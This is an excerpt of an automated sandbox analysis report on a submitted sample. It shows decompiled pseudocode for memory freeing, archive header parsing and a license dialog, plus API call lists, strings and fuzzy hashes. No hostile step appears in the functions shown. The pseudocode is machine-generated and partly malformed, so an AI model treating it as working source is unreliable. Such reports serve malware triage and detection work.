Part of subcall function 00251708: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011708,0024BA45,00000000,.exe,?,?,00000800,?,?,0025854F,?), ref: 0025171E

GetWindowLongW.USER32(00000000,000000F0), ref: 0025CC19
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 0025CC30
GetObjectW.GDI32(00000000,00000018,?), ref: 0025CC44

Part of subcall function 00259CEC: GetDC.USER32(00000000), ref: 00259CF8
Part of subcall function 00259CEC: GetDeviceCaps.GDI32(00000000,0000005A), ref: 00259D07
Part of subcall function 00259CEC: ReleaseDC.USER32(00000000,00000000), ref: 00259D15

Part of subcall function 00259CA9: GetDC.USER32(00000000), ref: 00259CB5
Part of subcall function 00259CA9: GetDeviceCaps.GDI32(00000000,00000058), ref: 00259CC4
Part of subcall function 00259CA9: ReleaseDC.USER32(00000000,00000000), ref: 00259CD2

SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0025CC6D
DeleteObject.GDI32(00000000), ref: 0025CC74
GetWindow.USER32(00000000,00000002), ref: 0025CC7D

Strings

STATIC, xrefs: 0025CC03

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Window$CapsDeviceMessageObjectReleaseSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 1444658586-1882779555
Opcode ID: b608e999d5e5c9fe11eabb8ada7db281e56cecbe379f45898a4905897206fe4a
Instruction ID: 02b6177d9e6302e7ec51cea24fdbc8fc549430a21090c75427f275eb5b400213
Opcode Fuzzy Hash: b608e999d5e5c9fe11eabb8ada7db281e56cecbe379f45898a4905897206fe4a
Instruction Fuzzy Hash: 18113A36150311BFE7206B70AC0EFAF769CEF46763F004422FE49A11D1DE7089694AA8

Uniqueness

Uniqueness Score: -1.00%

Function 00268D31 Relevance: 15.1, APIs: 10, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00268D31(char _a4) {
				char _v8;

				_t26 = _a4;
				_t52 =  *_a4;
				if( *_a4 != 0x274eb0) {
					E0026835E(_t52);
					_t26 = _a4;
				}
				E0026835E( *((intOrPtr*)(_t26 + 0x3c)));
				E0026835E( *((intOrPtr*)(_a4 + 0x30)));
				E0026835E( *((intOrPtr*)(_a4 + 0x34)));
				E0026835E( *((intOrPtr*)(_a4 + 0x38)));
				E0026835E( *((intOrPtr*)(_a4 + 0x28)));
				E0026835E( *((intOrPtr*)(_a4 + 0x2c)));
				E0026835E( *((intOrPtr*)(_a4 + 0x40)));
				E0026835E( *((intOrPtr*)(_a4 + 0x44)));
				E0026835E( *((intOrPtr*)(_a4 + 0x360)));
				_v8 =  &_a4;
				E00268BF6(5,  &_v8);
				_v8 =  &_a4;
				return E00268C46(4,  &_v8);
			}

0x00268d37
0x00268d3a
0x00268d42
0x00268d45
0x00268d4a
0x00268d4d
0x00268d51
0x00268d5c
0x00268d67
0x00268d72
0x00268d7d
0x00268d88
0x00268d93
0x00268d9e
0x00268dac
0x00268db4
0x00268dbd
0x00268dc5
0x00268dd9

APIs

_free.LIBCMT ref: 00268D45

Part of subcall function 0026835E: RtlFreeHeap.NTDLL(00000000,00000000,?,0026BE76,?,00000000,?,00000000,?,0026BE9D,?,00000007,?,?,0026C29A,?), ref: 00268374
Part of subcall function 0026835E: GetLastError.KERNEL32(?,?,0026BE76,?,00000000,?,00000000,?,0026BE9D,?,00000007,?,?,0026C29A,?,?), ref: 00268386

_free.LIBCMT ref: 00268D51
_free.LIBCMT ref: 00268D5C
_free.LIBCMT ref: 00268D67
_free.LIBCMT ref: 00268D72
_free.LIBCMT ref: 00268D7D
_free.LIBCMT ref: 00268D88
_free.LIBCMT ref: 00268D93
_free.LIBCMT ref: 00268D9E
_free.LIBCMT ref: 00268DAC

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 906bd058fa41563e1e126b2e048526e874c31239452edceb3eccb088c6d7deb2
Instruction ID: 1866108bbfe5a1061d47dcd53ae2cb43516eef1b8d30062a7cd6836decebb892
Opcode Fuzzy Hash: 906bd058fa41563e1e126b2e048526e874c31239452edceb3eccb088c6d7deb2
Instruction Fuzzy Hash: 9911B676120208BFCB15EF54C842CDD3BA5FF04750B4546A1BA188F226DA32EEB09F81

Uniqueness

Uniqueness Score: -1.00%

Function 0024214E Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 480
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0024214E(intOrPtr __ecx) {
				signed int _t135;
				void* _t137;
				signed int _t139;
				unsigned int _t140;
				signed int _t144;
				signed int _t161;
				signed int _t164;
				void* _t167;
				void* _t172;
				signed int _t175;
				signed char _t178;
				signed char _t179;
				signed char _t180;
				signed int _t182;
				signed int _t185;
				signed int _t187;
				signed int _t188;
				signed char _t220;
				signed char _t232;
				signed int _t233;
				signed int _t236;
				intOrPtr _t240;
				signed int _t244;
				signed int _t246;
				signed int _t247;
				signed int _t257;
				signed int _t258;
				signed char _t262;
				signed int _t263;
				signed int _t265;
				intOrPtr _t272;
				intOrPtr _t275;
				intOrPtr _t278;
				intOrPtr _t314;
				signed int _t315;
				intOrPtr _t318;
				signed int _t322;
				void* _t323;
				void* _t324;
				void* _t326;
				void* _t327;
				void* _t328;
				void* _t329;
				void* _t330;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				intOrPtr* _t336;
				signed int _t339;
				void* _t340;
				signed int _t341;
				char* _t342;
				void* _t343;
				void* _t344;
				signed int _t348;
				signed int _t351;
				signed int _t366;

				E0025E1C0();
				_t318 =  *((intOrPtr*)(_t344 + 0x20b8));
				 *((intOrPtr*)(_t344 + 0xc)) = __ecx;
				_t314 =  *((intOrPtr*)(_t318 + 0x18));
				_t135 = _t314 -  *((intOrPtr*)(_t344 + 0x20bc));
				if(_t135 <  *(_t318 + 0x1c)) {
					L104:
					return _t135;
				}
				_t315 = _t314 - _t135;
				 *(_t318 + 0x1c) = _t135;
				if(_t315 >= 2) {
					_t240 =  *((intOrPtr*)(_t344 + 0x20c4));
					while(1) {
						_t135 = E0024C620(_t315);
						_t244 = _t135;
						_t348 = _t315;
						if(_t348 < 0 || _t348 <= 0 && _t244 == 0) {
							break;
						}
						_t322 =  *(_t318 + 0x1c);
						_t135 =  *((intOrPtr*)(_t318 + 0x18)) - _t322;
						if(_t135 == 0) {
							break;
						}
						_t351 = _t315;
						if(_t351 > 0 || _t351 >= 0 && _t244 > _t135) {
							break;
						} else {
							_t339 = _t322 + _t244;
							 *(_t344 + 0x28) = _t339;
							_t137 = E0024C620(_t315);
							_t340 = _t339 -  *(_t318 + 0x1c);
							_t323 = _t137;
							_t135 = _t315;
							_t246 = 0;
							 *(_t344 + 0x24) = _t135;
							 *(_t344 + 0x20) = 0;
							if(0 < 0 || 0 <= 0 && _t340 < 0) {
								break;
							} else {
								if( *((intOrPtr*)(_t240 + 4)) == 1 && _t323 == 1 && _t135 == 0) {
									 *((char*)(_t240 + 0x1e)) = 1;
									_t232 = E0024C620(_t315);
									 *(_t344 + 0x1c) = _t232;
									if((_t232 & 0x00000001) != 0) {
										_t236 = E0024C620(_t315);
										if((_t236 | _t315) != 0) {
											asm("adc eax, edx");
											 *((intOrPtr*)(_t240 + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)(_t344 + 0x18)) + 0x6ca0)) + _t236;
											 *((intOrPtr*)(_t240 + 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t344 + 0x18)) + 0x6ca4));
										}
										_t232 =  *(_t344 + 0x1c);
									}
									if((_t232 & 0x00000002) != 0) {
										_t233 = E0024C620(_t315);
										if((_t233 | _t315) != 0) {
											asm("adc eax, edx");
											 *((intOrPtr*)(_t240 + 0x30)) =  *((intOrPtr*)( *((intOrPtr*)(_t344 + 0x18)) + 0x6ca0)) + _t233;
											 *((intOrPtr*)(_t240 + 0x34)) =  *((intOrPtr*)( *((intOrPtr*)(_t344 + 0x18)) + 0x6ca4));
										}
									}
									_t246 =  *(_t344 + 0x20);
									_t135 =  *(_t344 + 0x24);
								}
								if( *((intOrPtr*)(_t240 + 4)) == 2 ||  *((intOrPtr*)(_t240 + 4)) == 3) {
									_t366 = _t135;
									if(_t366 > 0 || _t366 >= 0 && _t323 > 7) {
										goto L102;
									} else {
										_t324 = _t323 - 1;
										if(_t324 == 0) {
											_t139 = E0024C620(_t315);
											__eflags = _t139;
											if(_t139 == 0) {
												_t140 = E0024C620(_t315);
												 *(_t240 + 0x10c1) = _t140 & 0x00000001;
												 *(_t240 + 0x10ca) = _t140 >> 0x00000001 & 0x00000001;
												_t144 = E0024C4D3(_t318) & 0x000000ff;
												 *(_t240 + 0x10ec) = _t144;
												__eflags = _t144 - 0x18;
												if(_t144 > 0x18) {
													E00243FD6(_t344 + 0x38, 0x14, L"xc%u", _t144);
													_t257 =  *(_t344 + 0x28);
													_t167 = _t344 + 0x40;
													_t344 = _t344 + 0x10;
													E00243F81(_t257, _t240 + 0x28, _t167);
												}
												E0024C582(_t318, _t240 + 0x10a1, 0x10);
												E0024C582(_t318, _t240 + 0x10b1, 0x10);
												__eflags =  *(_t240 + 0x10c1);
												if( *(_t240 + 0x10c1) != 0) {
													_t325 = _t240 + 0x10c2;
													E0024C582(_t318, _t240 + 0x10c2, 8);
													E0024C582(_t318, _t344 + 0x30, 4);
													E0024F807(_t344 + 0x58);
													E0024F84D(_t344 + 0x60, _t240 + 0x10c2, 8);
													_push(_t344 + 0x30);
													E0024F716(_t344 + 0x5c);
													_t161 = E0025FC4A(_t344 + 0x34, _t344 + 0x34, 4);
													_t344 = _t344 + 0xc;
													asm("sbb al, al");
													__eflags =  *((intOrPtr*)(_t240 + 4)) - 3;
													 *(_t240 + 0x10c1) =  ~_t161 + 1;
													if( *((intOrPtr*)(_t240 + 4)) == 3) {
														_t164 = E0025FC4A(_t325, 0x272668, 8);
														_t344 = _t344 + 0xc;
														__eflags = _t164;
														if(_t164 == 0) {
															 *(_t240 + 0x10c1) = _t164;
														}
													}
												}
												 *((char*)(_t240 + 0x10a0)) = 1;
												 *((intOrPtr*)(_t240 + 0x109c)) = 5;
												 *((char*)(_t240 + 0x109b)) = 1;
											} else {
												E00243FD6(_t344 + 0x38, 0x14, L"x%u", _t139);
												_t258 =  *(_t344 + 0x28);
												_t172 = _t344 + 0x40;
												_t344 = _t344 + 0x10;
												E00243F81(_t258, _t240 + 0x28, _t172);
											}
											goto L102;
										}
										_t326 = _t324 - 1;
										if(_t326 == 0) {
											_t175 = E0024C620(_t315);
											__eflags = _t175;
											if(_t175 != 0) {
												goto L102;
											}
											_push(0x20);
											 *((intOrPtr*)(_t240 + 0x1070)) = 3;
											_push(_t240 + 0x1074);
											L40:
											E0024C582(_t318);
											goto L102;
										}
										_t327 = _t326 - 1;
										if(_t327 == 0) {
											__eflags = _t246;
											if(__eflags < 0) {
												goto L102;
											}
											if(__eflags > 0) {
												L65:
												_t178 = E0024C620(_t315);
												 *(_t344 + 0x13) = _t178;
												_t179 = _t178 & 0x00000001;
												_t262 =  *(_t344 + 0x13);
												 *(_t344 + 0x14) = _t179;
												_t315 = _t262 & 0x00000002;
												__eflags = _t315;
												 *(_t344 + 0x15) = _t315;
												if(_t315 != 0) {
													_t278 = _t318;
													__eflags = _t179;
													if(__eflags == 0) {
														E00250D5C(_t240 + 0x1040, _t315, E0024C562(_t278, __eflags), _t315);
													} else {
														E00250D1D(_t240 + 0x1040, _t315, E0024C520(_t278), 0);
													}
													_t262 =  *(_t344 + 0x13);
													_t179 =  *(_t344 + 0x14);
												}
												_t263 = _t262 & 0x00000004;
												__eflags = _t263;
												 *(_t344 + 0x16) = _t263;
												if(_t263 != 0) {
													_t275 = _t318;
													__eflags = _t179;
													if(__eflags == 0) {
														E00250D5C(_t240 + 0x1048, _t315, E0024C562(_t275, __eflags), _t315);
													} else {
														E00250D1D(_t240 + 0x1048, _t315, E0024C520(_t275), 0);
													}
												}
												_t180 =  *(_t344 + 0x13);
												_t265 = _t180 & 0x00000008;
												__eflags = _t265;
												 *(_t344 + 0x17) = _t265;
												if(_t265 != 0) {
													__eflags =  *(_t344 + 0x14);
													_t272 = _t318;
													if(__eflags == 0) {
														E00250D5C(_t240 + 0x1050, _t315, E0024C562(_t272, __eflags), _t315);
													} else {
														E00250D1D(_t240 + 0x1050, _t315, E0024C520(_t272), 0);
													}
													_t180 =  *(_t344 + 0x13);
												}
												__eflags =  *(_t344 + 0x14);
												if( *(_t344 + 0x14) != 0) {
													__eflags = _t180 & 0x00000010;
													if((_t180 & 0x00000010) != 0) {
														__eflags =  *(_t344 + 0x15);
														if( *(_t344 + 0x15) == 0) {
															_t341 = 0x3fffffff;
															_t328 = 0x3b9aca00;
														} else {
															_t187 = E0024C520(_t318);
															_t341 = 0x3fffffff;
															_t328 = 0x3b9aca00;
															_t188 = _t187 & 0x3fffffff;
															__eflags = _t188 - 0x3b9aca00;
															if(_t188 < 0x3b9aca00) {
																E002509DA(_t240 + 0x1040, _t188, 0);
															}
														}
														__eflags =  *(_t344 + 0x16);
														if( *(_t344 + 0x16) != 0) {
															_t185 = E0024C520(_t318) & _t341;
															__eflags = _t185 - _t328;
															if(_t185 < _t328) {
																E002509DA(_t240 + 0x1048, _t185, 0);
															}
														}
														__eflags =  *(_t344 + 0x17);
														if( *(_t344 + 0x17) != 0) {
															_t182 = E0024C520(_t318) & _t341;
															__eflags = _t182 - _t328;
															if(_t182 < _t328) {
																E002509DA(_t240 + 0x1050, _t182, 0);
															}
														}
													}
												}
												goto L102;
											}
											__eflags = _t340 - 5;
											if(_t340 < 5) {
												goto L102;
											}
											goto L65;
										}
										_t329 = _t327 - 1;
										if(_t329 == 0) {
											__eflags = _t246;
											if(__eflags < 0) {
												goto L102;
											}
											if(__eflags > 0) {
												L60:
												E0024C620(_t315);
												__eflags = E0024C620(_t315);
												if(__eflags != 0) {
													 *((char*)(_t240 + 0x10f3)) = 1;
													E00243FD6(_t344 + 0x38, 0x14, L";%u", _t203);
													_t344 = _t344 + 0x10;
													E0024FD6E(__eflags, _t240 + 0x28, _t344 + 0x30, 0x800);
												}
												goto L102;
											}
											__eflags = _t340 - 1;
											if(_t340 < 1) {
												goto L102;
											}
											goto L60;
										}
										_t330 = _t329 - 1;
										if(_t330 == 0) {
											 *((intOrPtr*)(_t240 + 0x1100)) = E0024C620(_t315);
											 *(_t240 + 0x2104) = E0024C620(_t315) & 0x00000001;
											_t331 = E0024C620(_t315);
											 *((char*)(_t344 + 0xc0)) = 0;
											__eflags = _t331 - 0x1fff;
											if(_t331 < 0x1fff) {
												E0024C582(_t318, _t344 + 0xc4, _t331);
												 *((char*)(_t344 + _t331 + 0xc0)) = 0;
											}
											E0024BC60(_t344 + 0xc4, _t344 + 0xc4, 0x2000);
											_push(0x800);
											_push(_t240 + 0x1104);
											_push(_t344 + 0xc8);
											E0025138C();
											goto L102;
										}
										_t332 = _t330 - 1;
										if(_t332 == 0) {
											_t220 = E0024C620(_t315);
											 *(_t344 + 0x1c) = _t220;
											_t342 = _t240 + 0x2108;
											 *(_t240 + 0x2106) = _t220 >> 0x00000002 & 0x00000001;
											 *(_t240 + 0x2107) = _t220 >> 0x00000003 & 0x00000001;
											 *((char*)(_t240 + 0x2208)) = 0;
											 *_t342 = 0;
											__eflags = _t220 & 0x00000001;
											if((_t220 & 0x00000001) != 0) {
												_t334 = E0024C620(_t315);
												__eflags = _t334 - 0xff;
												if(_t334 >= 0xff) {
													_t334 = 0xff;
												}
												E0024C582(_t318, _t342, _t334);
												_t220 =  *(_t344 + 0x1c);
												 *((char*)(_t334 + _t342)) = 0;
											}
											__eflags = _t220 & 0x00000002;
											if((_t220 & 0x00000002) != 0) {
												_t333 = E0024C620(_t315);
												__eflags = _t333 - 0xff;
												if(_t333 >= 0xff) {
													_t333 = 0xff;
												}
												_t343 = _t240 + 0x2208;
												E0024C582(_t318, _t343, _t333);
												 *((char*)(_t333 + _t343)) = 0;
											}
											__eflags =  *(_t240 + 0x2106);
											if( *(_t240 + 0x2106) != 0) {
												 *((intOrPtr*)(_t240 + 0x2308)) = E0024C620(_t315);
											}
											__eflags =  *(_t240 + 0x2107);
											if( *(_t240 + 0x2107) != 0) {
												 *((intOrPtr*)(_t240 + 0x230c)) = E0024C620(_t315);
											}
											 *((char*)(_t240 + 0x2105)) = 1;
											goto L102;
										}
										if(_t332 != 1) {
											goto L102;
										}
										if( *((intOrPtr*)(_t240 + 4)) == 3 &&  *((intOrPtr*)(_t318 + 0x18)) -  *(_t344 + 0x28) == 1) {
											_t340 = _t340 + 1;
										}
										_t336 = _t240 + 0x1028;
										E00242020(_t336, _t340);
										_push(_t340);
										_push( *_t336);
										goto L40;
									}
								} else {
									L102:
									_t247 =  *(_t344 + 0x28);
									 *(_t318 + 0x1c) = _t247;
									_t135 =  *((intOrPtr*)(_t318 + 0x18)) - _t247;
									if(_t135 >= 2) {
										continue;
									}
									break;
								}
							}
						}
					}
				}
			}

0x00242153
0x00242159
0x00242160
0x00242164
0x00242169
0x00242173
0x002427ca
0x002427d1
0x002427d1
0x00242179
0x0024217b
0x00242181
0x00242188
0x00242191
0x00242193
0x00242198
0x0024219a
0x0024219c
0x00000000
0x00000000
0x002421af
0x002421b2
0x002421b4
0x00000000
0x00000000
0x002421ba
0x002421bc
0x00000000
0x002421cc
0x002421cc
0x002421d1
0x002421d5
0x002421da
0x002421dd
0x002421df
0x002421e1
0x002421e3
0x002421e7
0x002421eb
0x00000000
0x002421fb
0x002421ff
0x00242210
0x00242214
0x00242219
0x0024221f
0x00242223
0x0024222c
0x00242244
0x00242246
0x00242249
0x00242249
0x0024224c
0x0024224c
0x00242252
0x00242256
0x0024225f
0x00242277
0x00242279
0x0024227c
0x0024227c
0x0024225f
0x0024227f
0x00242283
0x00242283
0x0024228b
0x00242297
0x00242299
0x00000000
0x002422aa
0x002422aa
0x002422ad
0x0024265c
0x00242661
0x00242663
0x00242693
0x002426a1
0x002426a9
0x002426b4
0x002426b7
0x002426bd
0x002426c0
0x002426cf
0x002426d4
0x002426d8
0x002426dc
0x002426e4
0x002426e4
0x002426f4
0x00242704
0x00242709
0x00242710
0x00242718
0x00242721
0x0024272f
0x00242739
0x00242746
0x0024274f
0x00242755
0x00242766
0x0024276b
0x00242770
0x00242774
0x00242778
0x0024277e
0x00242788
0x0024278d
0x00242790
0x00242792
0x00242794
0x00242794
0x00242792
0x0024277e
0x0024279a
0x002427a1
0x002427ab
0x00242665
0x00242672
0x00242677
0x0024267b
0x0024267f
0x00242687
0x00242687
0x00000000
0x00242663
0x002422b3
0x002422b6
0x00242635
0x0024263a
0x0024263c
0x00000000
0x00000000
0x00242642
0x0024264a
0x00242654
0x0024230b
0x0024230d
0x00000000
0x0024230d
0x002422bc
0x002422bf
0x002424b6
0x002424b8
0x00000000
0x00000000
0x002424be
0x002424c9
0x002424cb
0x002424d0
0x002424d4
0x002424d6
0x002424dc
0x002424e0
0x002424e0
0x002424e3
0x002424e7
0x002424e9
0x002424eb
0x002424ed
0x00242511
0x002424ef
0x002424fd
0x002424fd
0x00242516
0x0024251a
0x0024251a
0x0024251e
0x0024251e
0x00242521
0x00242525
0x00242527
0x00242529
0x0024252b
0x0024254f
0x0024252d
0x0024253b
0x0024253b
0x0024252b
0x00242554
0x0024255a
0x0024255a
0x0024255d
0x00242561
0x00242563
0x00242568
0x0024256a
0x0024258e
0x0024256c
0x0024257a
0x0024257a
0x00242593
0x00242593
0x00242597
0x0024259c
0x002425a2
0x002425a4
0x002425aa
0x002425af
0x002425d8
0x002425dd
0x002425b1
0x002425b3
0x002425b8
0x002425bd
0x002425c2
0x002425c4
0x002425c6
0x002425d1
0x002425d1
0x002425c6
0x002425e2
0x002425e7
0x002425f0
0x002425f2
0x002425f4
0x002425ff
0x002425ff
0x002425f4
0x00242604
0x00242609
0x00242616
0x00242618
0x0024261a
0x00242629
0x00242629
0x0024261a
0x00242609
0x002425a4
0x00000000
0x0024259c
0x002424c0
0x002424c3
0x00000000
0x00000000
0x00000000
0x002424c3
0x002422c5
0x002422c8
0x00242459
0x0024245b
0x00000000
0x00000000
0x00242461
0x0024246c
0x0024246e
0x0024247a
0x0024247c
0x0024248c
0x00242496
0x0024249b
0x002424ac
0x002424ac
0x00000000
0x0024247c
0x00242463
0x00242466
0x00000000
0x00000000
0x00000000
0x00242466
0x002422ce
0x002422d1
0x002423e4
0x002423f3
0x002423fe
0x00242400
0x00242408
0x0024240e
0x0024241b
0x00242420
0x00242420
0x00242436
0x0024243b
0x00242446
0x0024244e
0x0024244f
0x00000000
0x0024244f
0x002422d7
0x002422da
0x00242319
0x00242320
0x00242327
0x00242330
0x0024233e
0x00242344
0x0024234b
0x0024234f
0x00242351
0x0024235a
0x00242361
0x00242363
0x00242365
0x00242365
0x0024236b
0x00242370
0x00242374
0x00242374
0x00242378
0x0024237a
0x00242383
0x0024238a
0x0024238c
0x0024238e
0x0024238e
0x00242391
0x0024239a
0x0024239f
0x0024239f
0x002423a3
0x002423aa
0x002423b3
0x002423b3
0x002423b9
0x002423c0
0x002423c9
0x002423c9
0x002423cf
0x00000000
0x002423cf
0x002422df
0x00000000
0x00000000
0x002422e9
0x002422f7
0x002422f7
0x002422fa
0x00242303
0x00242308
0x00242309
0x00000000
0x00242309
0x002427b2
0x002427b2
0x002427b2
0x002427b6
0x002427bc
0x002427c1
0x00000000
0x00000000
0x00000000
0x002427c1
0x0024228b
0x002421eb
0x002421bc
0x002427c9

Strings

xc%u, xrefs: 002426C3
;%u, xrefs: 00242483
x%u, xrefs: 00242666

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID: ;%u$x%u$xc%u
API String ID: 0-2277559157
Opcode ID: 1c72ad6d461ce206be82c18f1bb8dbe81217c8fc26aec5da7a0591f9731367d0
Instruction ID: 6e3e835a24fb47feab899960e545d171a126b958141ab1e5ffa3206e550792a3
Opcode Fuzzy Hash: 1c72ad6d461ce206be82c18f1bb8dbe81217c8fc26aec5da7a0591f9731367d0
Instruction Fuzzy Hash: CFF16E70625341DBDB1CEF3988917FE77996F90300F884469FD859F247CA64986CCB62

Uniqueness

Uniqueness Score: -1.00%

Function 0025AC20 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98
windowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E0025AC20(void* __ecx, void* __edx, void* __eflags, void* __fp0, struct HWND__* _a4, intOrPtr _a8, signed short _a12, intOrPtr _a16) {
				long _t9;
				long _t10;
				WCHAR* _t11;
				void* _t25;
				signed short _t28;
				void* _t29;
				intOrPtr _t30;
				struct HWND__* _t34;
				intOrPtr _t35;
				void* _t36;
				struct HWND__* _t37;

				_t29 = __ecx;
				_t28 = _a12;
				_t35 = _a8;
				_t34 = _a4;
				if(E0024130B(__edx, _t34, _t35, _t28, _a16, L"LICENSEDLG", 0, 0) != 0) {
					L16:
					__eflags = 1;
					return 1;
				}
				_t36 = _t35 - 0x110;
				if(_t36 == 0) {
					E0025CBAE(_t29, __edx, __eflags, __fp0, _t34);
					_t9 =  *0x28b574;
					__eflags = _t9;
					if(_t9 != 0) {
						SendMessageW(_t34, 0x80, 1, _t9);
					}
					_t10 =  *0x295b74;
					__eflags = _t10;
					if(_t10 != 0) {
						SendDlgItemMessageW(_t34, 0x66, 0x172, 0, _t10);
					}
					_t11 =  *0x29dc8c;
					__eflags = _t11;
					if(__eflags != 0) {
						SetWindowTextW(_t34, _t11);
					}
					_t37 = GetDlgItem(_t34, 0x65);
					SendMessageW(_t37, 0x435, 0, 0x10000);
					SendMessageW(_t37, 0x443, 0,  *0x2a10c0(0xf));
					 *0x2a10bc(_t34);
					_t30 =  *0x28745c; // 0x0
					E002595B5(_t30, __eflags,  *0x27fed4, _t37,  *0x29dc88, 0, 0);
					L0026340E( *0x29dc8c);
					L0026340E( *0x29dc88);
					goto L16;
				}
				if(_t36 != 1) {
					L5:
					return 0;
				}
				_t25 = (_t28 & 0x0000ffff) - 1;
				if(_t25 == 0) {
					_push(1);
					L7:
					EndDialog(_t34, ??);
					goto L16;
				}
				if(_t25 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0025ac20
0x0025ac21
0x0025ac27
0x0025ac2e
0x0025ac47
0x0025ad33
0x0025ad35
0x00000000
0x0025ad35
0x0025ac4d
0x0025ac53
0x0025ac80
0x0025ac85
0x0025ac8a
0x0025ac8c
0x0025ac97
0x0025ac97
0x0025ac9d
0x0025aca2
0x0025aca4
0x0025acb0
0x0025acb0
0x0025acb6
0x0025acbb
0x0025acbd
0x0025acc1
0x0025acc1
0x0025acd6
0x0025acde
0x0025acf4
0x0025acfb
0x0025ad01
0x0025ad16
0x0025ad21
0x0025ad2c
0x00000000
0x0025ad32
0x0025ac58
0x0025ac67
0x00000000
0x0025ac67
0x0025ac5d
0x0025ac60
0x0025ac7b
0x0025ac6f
0x0025ac70
0x00000000
0x0025ac70
0x0025ac65
0x0025ac6e
0x00000000
0x0025ac6e
0x00000000

APIs

Part of subcall function 0024130B: GetDlgItem.USER32(00000000,00003021), ref: 0024134F
Part of subcall function 0024130B: SetWindowTextW.USER32(00000000,002725B4), ref: 00241365

EndDialog.USER32(?,00000001), ref: 0025AC70
SendMessageW.USER32(?,00000080,00000001,?), ref: 0025AC97
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 0025ACB0
SetWindowTextW.USER32(?,?), ref: 0025ACC1
GetDlgItem.USER32(?,00000065), ref: 0025ACCA
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 0025ACDE
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0025ACF4

Strings

LICENSEDLG, xrefs: 0025AC34

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: aceed33aaa77dc3ac74d4df6a4cf24bf0f2c670db2ea92e8405fa6df13ab3756
Instruction ID: b7f85d26e1fc292eca136faf47f2005783abe20ff56d145e390af132626f12a5
Opcode Fuzzy Hash: aceed33aaa77dc3ac74d4df6a4cf24bf0f2c670db2ea92e8405fa6df13ab3756
